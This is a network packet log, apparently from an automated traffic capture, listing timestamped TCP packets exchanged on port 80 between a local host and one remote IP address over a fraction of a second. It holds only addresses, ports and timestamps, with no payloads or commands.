Jan 1, 2025 08:53:02.021120071 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021136999 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021249056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021260023 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021270037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021306992 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021339893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021351099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021361113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021378040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021389961 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021392107 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021399975 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021403074 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021411896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021425962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021435022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.021435022 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021466017 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.021473885 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.101670027 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.101680994 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.101691008 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.101742983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.101743937 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.101754904 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.101764917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.101774931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.101815939 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.101994991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102005959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102016926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102027893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102051973 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.102065086 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.102158070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102169037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102179050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102189064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102199078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102212906 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.102248907 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.102318048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102328062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102339029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102390051 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.102457047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102468967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102478981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102488995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102503061 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.102549076 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.102582932 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.102629900 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.103728056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.103739023 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.103750944 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.103775978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.103871107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.103882074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.103892088 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.103903055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.103916883 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.103935003 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105031967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105042934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105053902 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105083942 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105110884 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105113029 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105123043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105133057 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105144024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105154037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105166912 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105191946 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105321884 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105333090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105343103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105370045 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105395079 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105401993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105412960 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105422974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105432987 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105468988 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105480909 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105509996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105561972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105572939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105607033 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105717897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105729103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105739117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105750084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105760098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.105770111 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.105801105 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106004000 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106014967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106024981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106036901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106046915 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106056929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106060982 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106069088 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106070042 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106084108 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106092930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106105089 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106120110 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106311083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106322050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106333017 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106343031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106353045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106359005 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106364012 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106372118 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106375933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106410980 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106421947 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106620073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106630087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106636047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106641054 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106651068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106662035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106672049 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106677055 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106684923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106708050 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106724977 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.106962919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106975079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.106985092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107023954 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107045889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107057095 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107067108 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107078075 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107088089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107100010 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107125044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107144117 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107255936 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107266903 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107276917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107287884 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107305050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107310057 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107321024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107331991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107335091 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107343912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107367039 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107392073 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107417107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107429028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107439041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107474089 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107527018 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107538939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107572079 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107599974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107611895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107637882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107641935 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107680082 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107786894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107798100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107808113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107817888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107829094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107836962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107844114 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107848883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107861996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107863903 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107872009 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.107897043 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.107904911 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.108045101 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108056068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108066082 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108076096 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108087063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108102083 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.108128071 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.108206034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108217001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108227015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108237028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108259916 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.108277082 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.108284950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108297110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108308077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108319044 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108329058 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.108338118 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.108350992 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.148489952 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.188570976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188592911 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188602924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188638926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188776016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.188776016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.188800097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188813925 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188823938 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188836098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188848019 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.188874960 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.188910007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188921928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188931942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.188956022 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.189071894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189084053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189095020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189104080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189126015 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.189162016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.189291954 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189304113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189313889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189325094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189332008 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.189354897 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.189431906 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189441919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189451933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189464092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189466953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.189477921 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.189522982 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.190481901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.190532923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.190543890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.190573931 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.190671921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.190682888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.190689087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.190695047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.190737963 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.191870928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.191910028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.191920042 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.191920996 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.191956997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.191957951 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.191998959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192039967 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192106009 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192116976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192126989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192142010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192152977 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192188978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192243099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192253113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192262888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192272902 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192293882 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192312002 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192389965 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192401886 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192411900 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192420006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192446947 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192461014 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192599058 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192610979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192622900 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192666054 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192754984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192765951 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192776918 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192794085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192804098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192816019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192826033 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192826986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192842007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.192847013 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.192878008 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193065882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193077087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193088055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193098068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193106890 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193140030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193141937 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193152905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193164110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193176031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193183899 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193186998 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193213940 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193236113 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193465948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193599939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193610907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193622112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193633080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193639994 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193645954 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193661928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193661928 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193675041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193690062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193696022 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193702936 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193712950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193716049 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193742990 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.193941116 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.193980932 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194077015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194088936 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194098949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194108963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194118977 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194125891 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194129944 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194139957 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194152117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194152117 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194163084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194170952 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194174051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194188118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194201946 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194211960 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194556952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194569111 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194578886 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194587946 CET	80	49700	147.45.44.131	192.168.2.6
